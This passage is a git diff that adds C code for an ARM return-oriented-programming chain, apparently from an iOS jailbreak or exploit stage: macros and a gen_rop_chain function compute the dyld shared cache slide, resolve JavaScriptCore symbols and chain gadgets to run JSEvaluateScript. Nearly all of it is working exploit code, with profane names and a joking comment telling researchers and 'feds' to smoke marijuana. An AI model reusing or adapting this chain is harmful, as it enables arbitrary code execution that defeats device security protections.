+ DEREF_IN_R0(base + reserve_addr + 20); \
+ MOV_R1_R0(); \
+ MOV_R0(what); \
+ ADD_R0_R1(); \
+ STR_R0(stack_base + (chain_len * 4) + 392); \
+ CALL_4_ARG_L2_0(0x12345678, arg1, arg2); \
+} while (0)
+
+#define CALL_SLID(what) do { \
+ STR_R0(base + reserve_addr + 444); \
+ DEREF_IN_R0(base + reserve_addr + 20); \
+ MOV_R1_R0(); \
+ MOV_R0(what); \
+ ADD_R0_R1(); \
+ STR_R0(base + reserve_addr + 448); \
+ MOV_R1(0); \
+ DEREF_IN_R0(base + reserve_addr + 448); \
+ STR_R0(stack_base + (chain_len * 4) + 96 + (18 * 4)); \
+ DEREF_IN_R0(base + reserve_addr + 444); \
+ CALL(0x1234567c); \
+} while (0)
+
+#define CALL_SLID_4_PTRARG_L2_0(what, arg1, arg2) do { \
+ DEREF_IN_R0(base + reserve_addr + 20); \
+ MOV_R1_R0(); \
+ MOV_R0(what); \
+ ADD_R0_R1(); \
+/* MOV_R1_R0(); \
+ CALL_1ARG(base + printf_addr, base + dyld_shc_base_status); \
+*/ STR_R0(stack_base + (chain_len * 4) + 720); \
+ CALL_4_PTRARG_L2_0(0x12345679, arg1, arg2); \
+} while (0)
+
+#define PRINT_STILL_HERE() do { \
+/* CALL_1ARG(base + printf_addr, 0x109000); */\
+} while (0)
+
+uintptr_t get_dyld_shc_slide(void) {
+ return _dyld_get_image_vmaddr_slide(1);
+}
+
+uintptr_t get_dyld_shc_sym_addr(char* sym) {
+ return dlsym(RTLD_DEFAULT, sym) - get_dyld_shc_slide();
+}
+
+rop_chain_shit gen_rop_chain(uint32_t base,
+ uint32_t we_out_here_addr,
+ uint32_t mov_r0,
+ uint32_t puts_addr,
+ uint32_t blx_r5,
+ uint32_t nulls_addr,
+ uint32_t malloc_addr,
+ uint32_t mov_r1_r0,
+ uint32_t nop,
+ uint32_t malloc_status_addr,
+ uint32_t printf_addr,
+ uint32_t exit_addr,
+ uint32_t str_r0_r4,
+ uint32_t reserve_addr,
+ uint32_t ldr_r0_r0,
+ uint32_t add_r0_r1,
+ uint32_t stack_base,
+ uint32_t dyld_shc_base_status,
+ uint32_t scprefcreate_dsc_offset,
+ uint32_t scprefcreate_lazy_offset,
+ uint32_t weird_r3,
+ uint32_t other_weird_r3) {
+ /*
+ * to quote qwertyoruiop:
+ * ROP Insanity.
+ *
+ * Message to security researchers, feds and apple employees:
+ *
+ * If you want to understand this, you have to hit a blunt.
+ * I don't care if you're at work. Roll a fat one and smoke it. Right now.
+ *
+ * If your boss questions this, feel free to tell him to contact me. I'll explain how crucial THC is for this shit.
+ */
+
+ /*
+ * this is definitely overkill
+ */
+ uint32_t* chain = (uint32_t*)calloc(0x100000, sizeof(uint32_t));
+ uint32_t chain_len = 0;
+
+ rop_chain_shit chain_b0i = (rop_chain_shit)malloc(sizeof(struct rop_chain_shit_t));
+
+ /* output "intro" string */
+ CALL_1ARG(base + puts_addr, base + we_out_here_addr);
+
+// CALL_4_ARG_L2_0(base + 0x9ad8c, LOG_SYSLOG, base + we_out_here_addr);
+
+ /* allocate memory for file read later */
+ CALL_1ARG(base + malloc_addr, 0x100000);
+ STR_R0(base + reserve_addr);
+ MOV_R1_R0();
+
+ /* output malloc string */
+ CALL_1ARG(base + printf_addr, base + malloc_status_addr);
+
+ /* calculate dyld_shared_cache slide */
+ MOV_R0(0 - (0x20000000 + scprefcreate_dsc_offset));
+ MOV_R1_R0();
+ DEREF_IN_R0(base + scprefcreate_lazy_offset);
+ ADD_R0_R1();
+ STR_R0(base + reserve_addr + 20);
+
+ /* calculate dyld_shared_cache slide */
+ MOV_R0(0 - (scprefcreate_dsc_offset));
+ MOV_R1_R0();
+ DEREF_IN_R0(base + scprefcreate_lazy_offset);
+ ADD_R0_R1();
+ STR_R0(base + reserve_addr + 16);
+
+ /* print the status string */
+ MOV_R1_R0();
+ CALL_1ARG(base + printf_addr, base + dyld_shc_base_status);
+
+// uint32_t slid_b0i = 0x2b14000;
+
+ uint32_t JSContextGroupCreate = get_dyld_shc_sym_addr("JSContextGroupCreate");
+ uint32_t JSGlobalContextCreateInGroup = get_dyld_shc_sym_addr("JSGlobalContextCreateInGroup");
+ uint32_t JSContextGetGlobalObject = get_dyld_shc_sym_addr("JSContextGetGlobalObject");
+ uint32_t JSStringCreateWithUTF8CString = get_dyld_shc_sym_addr("JSStringCreateWithUTF8CString");
+ uint32_t JSEvaluateScript = get_dyld_shc_sym_addr("JSEvaluateScript");
+ uint32_t dlsym_ = get_dyld_shc_sym_addr("dlsym");
+
+ MOV_R0(dlsym_);
+ STR_R0(base + reserve_addr + 24);
+
+// uint32_t settimeofday = get_dyld_shc_sym_addr("settimeofday");
+
+// fprintf(stderr, "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", JSContextGroupCreate, JSGlobalContextCreateInGroup, JSContextGetGlobalObject, JSStringCreateWithUTF8CString, JSEvaluateScript, stime);
+
+/*
+ MOV_R0(0);
+ STR_R0(base + 0x140000);
+ STR_R0(base + 0x140004);
+
+ MOV_R0(0);
+ MOV_R1_R0();
+ MOV_R0(base + 0x140000);
+ CALL_SLID(settimeofday);
+ */
+
+ PRINT_STILL_HERE();
+ CALL_SLID(JSContextGroupCreate);
+ STR_R0(base + reserve_addr + 0x40);
+ MOV_R1_R0();
+ PRINT_STILL_HERE();
+ MOV_R1(0);
+ DEREF_IN_R0(base + reserve_addr + 0x40);
+
+ CALL_SLID(JSGlobalContextCreateInGroup);
+ STR_R0(base + reserve_addr + 0x44);
+ MOV_R1_R0();
+ PRINT_STILL_HERE();
+ DEREF_IN_R0(base + reserve_addr + 0x44);
+
+ CALL_SLID(JSContextGetGlobalObject);
+ STR_R0(base + reserve_addr + 0x48);
+ PRINT_STILL_HERE();
+ DEREF_IN_R0(base + reserve_addr + 0x48);
+ MOV_R1_R0();
+ MOV_R0(0x108000);
+
+ CALL_SLID(JSStringCreateWithUTF8CString);
+ STR_R0(base + reserve_addr + 0x48);
+ PRINT_STILL_HERE();
+ DEREF_IN_R0(base + reserve_addr + 0x48);
+ MOV_R1_R0();
+ CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48);
+ MOV_R1_R0();
+ PRINT_STILL_HERE();
+
+ uint32_t slide = (base) >> 12;
+
+ fprintf(stderr, "%x %x\n", base, stack_base);
+ fprintf(stderr, "%x\n", get_dyld_shc_slide());
+
+ MOV_R0(0x422260);
+ STR_R0(0x422290);
+// MOV_R0(0x2022260);
+// STR_R0(0x2022290);
+ // MOV_R0(0x422260);
+ // STR_R0(0x422290);
+
+ MOV_R0(0x10a000);
+ CALL_SLID(JSStringCreateWithUTF8CString);
+ STR_R0(base + reserve_addr + 0x48);
+ PRINT_STILL_HERE();
+/*
+ DEREF_IN_R0(base + reserve_addr + 0x48);
+ MOV_R1_R0();
+ */
+ CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48);
+ MOV_R1_R0();
+ PRINT_STILL_HERE();
+
+// DEREF_IN_R0(0x144444);
+// MOV_R1_R0();
+// CALL_1ARG(base + printf_addr, base + dyld_shc_base_status);
+
+// CALL_1ARG(base + printf_addr, 0x109000);
+
+ /* exit */
+ CALL_1ARG(base + exit_addr, 69);
+
+ chain_b0i->teh_chain = chain;
+ chain_b0i->chain_len = chain_len * 4;
+
+ return chain_b0i;
+} \ No newline at end of file
diff --git a/src/stage2.h b/src/stage2.h
new file mode 100644
index 0000000..0c7b62b
--- /dev/null
+++ b/src/stage2.h
@@ -0,0 +1,40 @@
+#ifndef SHITTY_ROP_H
+#define SHITTY_ROP_H
+
+#include <stdint.h>
+
+struct rop_chain_shit_t {
+ uint32_t* teh_chain;
+ uint32_t chain_len;
+};
+
+typedef struct rop_chain_shit_t* rop_chain_shit;
+
+#define GARBAGE 0x6A9BA6E
+//#define UNUSED 0xEEEEEEEE
+#define UNUSED 0x40000000 | (0x100000 + (__LINE__))
+
+rop_chain_shit gen_rop_chain(uint32_t base,
+ uint32_t default_domain_addr,
+ uint32_t mov_r0,
+ uint32_t puts_addr,
+ uint32_t blx_r5,
+ uint32_t nulls_addr,
+ uint32_t malloc_addr,
+ uint32_t mov_r1_r0,
+ uint32_t nop,
+ uint32_t malloc_status_addr,
+ uint32_t printf_addr,
+ uint32_t exit_addr,
+ uint32_t str_r0_r4,
+ uint32_t reserve_addr,
+ uint32_t ldr_r0_r0,
+ uint32_t add_r0_r1,
+ uint32_t stack_base,
+ uint32_t dyld_shc_base_status,
+ uint32_t scprefcreate_dsc_offset,
+ uint32_t scprefcreate_lazy_offset,
+ uint32_t weird_r3,
+ uint32_t other_weird_r3);
+
+#endif \ No newline at end of file